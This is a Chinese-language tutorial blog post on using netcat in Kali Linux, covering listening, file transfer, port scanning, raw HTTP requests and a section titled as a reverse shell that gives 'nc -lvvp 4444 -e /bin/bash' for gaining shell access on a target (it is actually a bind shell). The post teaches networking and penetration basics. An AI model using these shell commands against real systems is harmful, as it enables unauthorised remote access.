一文学会“瑞士军刀“-netcat命令使用

声明!

文章所提到的网站以及内容,只做学习交流,其他均与本人以及泷羽sec团队无关,切勿触碰法律底线,否则后果自负!!!!

目录标题

此工具无需安装,kali自带

前言

在Kali Linux中,nc 命令(即Netcat)是一个功能强大的网络工具,它可以用于网络调试和网络服务。Netcat可以作为一个简单的TCP或UDP客户端,也可以作为一个服务器来监听传入的连接。

基本使用

复制代码
nc -help 

查看使用帮助

翻译如下:

复制代码
连接到某处:nc [ -options ] hostname ports...
监听传入连接:nc -l -p port [ -options ] [hostname] [port]

选项:
 -c shell命令        作为'-e';使用/bin/sh来执行(非常危险!!)
 -e 文件名           连接后执行程序(非常危险!!)
 -b                  允许广播
 -g 网关             源路由跳转点(s),最多8个
 -G 数量             源路由指针:4、8、12,...
 -h                  这个帮助
 -i secs            发送行的延迟间隔,扫描的端口
 -k                  在套接字上设置保持活动选项
 -l                  监听模式,用于传入连接
 -n                  仅数字IP地址,无DNS
 -o 文件             流量的十六进制转储
 -p 端口             本地端口号
 -r                  随机化本地和远程端口
 -q secs            在标准输入上接收到EOF后退出,并延迟关闭连接
 -s 本地源地址      本地源地址
 -T tos             设置服务类型
 -t                  应答TELNET协商
 -u                  UDP模式
 -v                  详细(使用两次会更详细)
 -w secs            连接和最终读取的超时时间
 -C                  将CRLF作为行结束符发送
 -z                  零 - I/O模式(用于扫描)

端口号可以是单个或范围:lo - hi [包含];
端口名称中的连字符必须用反斜杠转义(例如,'ftp - data')。

以上命令可以结合一起使用,如下

复制代码
nc -lvvp 4444 :更加详细监听4444端口 

1. 使用监听并连接

直接监听端口或者监听对应网站的端口

复制代码
nc -l port
nc 域名 port

监听后如下

ctrl+c即可退出监听

连接输入ip和端口即可

复制代码
nc ip port

使用UDP监听

因为nc默认监听方式是TCP,有时需要使用UDP

复制代码
nc -lup port
nc -u 域名 port

2. 发送和接收文件

首先开启两个端口并创建两个文件

在a.txt写入hello

复制代码
echo 'hello' > a.txt    
nc -lvvp 4444 > 1.txt  监听4444端口并将接收的内容输入到1.txt
nc ip 4444 < a.txt    连接此ip的4444端口并将a.txt内容发送

结果如下

比较文档MD5值

复制代码
md5sum 1.txt
md5sum a.txt

通过MD5值可以比较文件或数据的完整性和一致性

3. 反弹shell

攻击机需要连接监听端口,目标机开启端口并开通/bin/bash权限

-e 连接后执行参数(比较危险的参数)

复制代码
nc -lvvp 4444 -e /bin/bash
或者 nc -nvlp 4444 -e /bin/bash
nc ip 4444

只要连接了目标主机就会自动执行/bin/bash ,从而获得权限

4. 扫描端口

开启4444端口并执行扫描

-znv : 详细扫描端口

复制代码
nc -lvvp 4444
nc -znv ip 4000-4500

可以看到成功扫描了端口

同样的,使用nmap扫描也是可以的

复制代码
nmap ip
nmap ip -p 1-65535

成功扫描

5. 发送HTTP请求

开启一个web服务,有1.txt和a.txt两个文件

执行完连接命令,可以在命令交互面板,执行下面三条语句构造一个http请求

复制代码
nc 127.0.0.1 80

GET / HTTP/1.1         GET方式
Host: 127.0.0.1        域名或ip
Connection: close      执行完毕后关闭

可以看到成功执行了命令并回显在了面板,不过这种方法不是特别方便

相关推荐
FungLeo4 分钟前
成为全栈·基础补充·Web 安全基础:XSS、CSRF 与 SQL 注入
web安全·网络安全·xss·csrf·sql注入·成为全栈
叼烟扛炮7 分钟前
Linux 学习笔记(六十一):网络编程毕业设计——Reactor 反应堆模式
linux·网络·笔记·学习·课程设计
xyzzklk12 分钟前
变相解决华为Mate 8锁屏后无法建立入站网络连接
linux·运维·服务器·网络·华为·go·安卓
叼烟扛炮2 小时前
Linux 学习笔记(五十九):epoll 的生死抉择——LT 与 ET 模式
linux·运维·服务器·网络·笔记·学习·php
David猪大卫9 小时前
【Linux修炼】环境变量、进程地址空间
linux·c语言·经验分享·笔记·学习·ubuntu·centos
叼烟扛炮10 小时前
Linux 学习笔记(五十六):IO 多路复用初探——select 的“三宗罪”
linux·服务器·数据库·笔记·学习·php
Ruiery10 小时前
Linux 6.6内核内存管理深度解析(十五):CMA 连续内存分配器
linux·运维·服务器
测试界的小码农11 小时前
【Linux 命令实战(01):认识 Linux 终端,从零掌握第一个命令】
linux·运维·服务器
布裘11 小时前
【银河麒麟】重启后时区丢失?排查发现 localtime 被业务程序替换成硬链接
linux·运维·网络
菩提小狗14 小时前
每日安全情报报告 · 2026-11-05
网络安全·漏洞·cve·安全情报·每日安全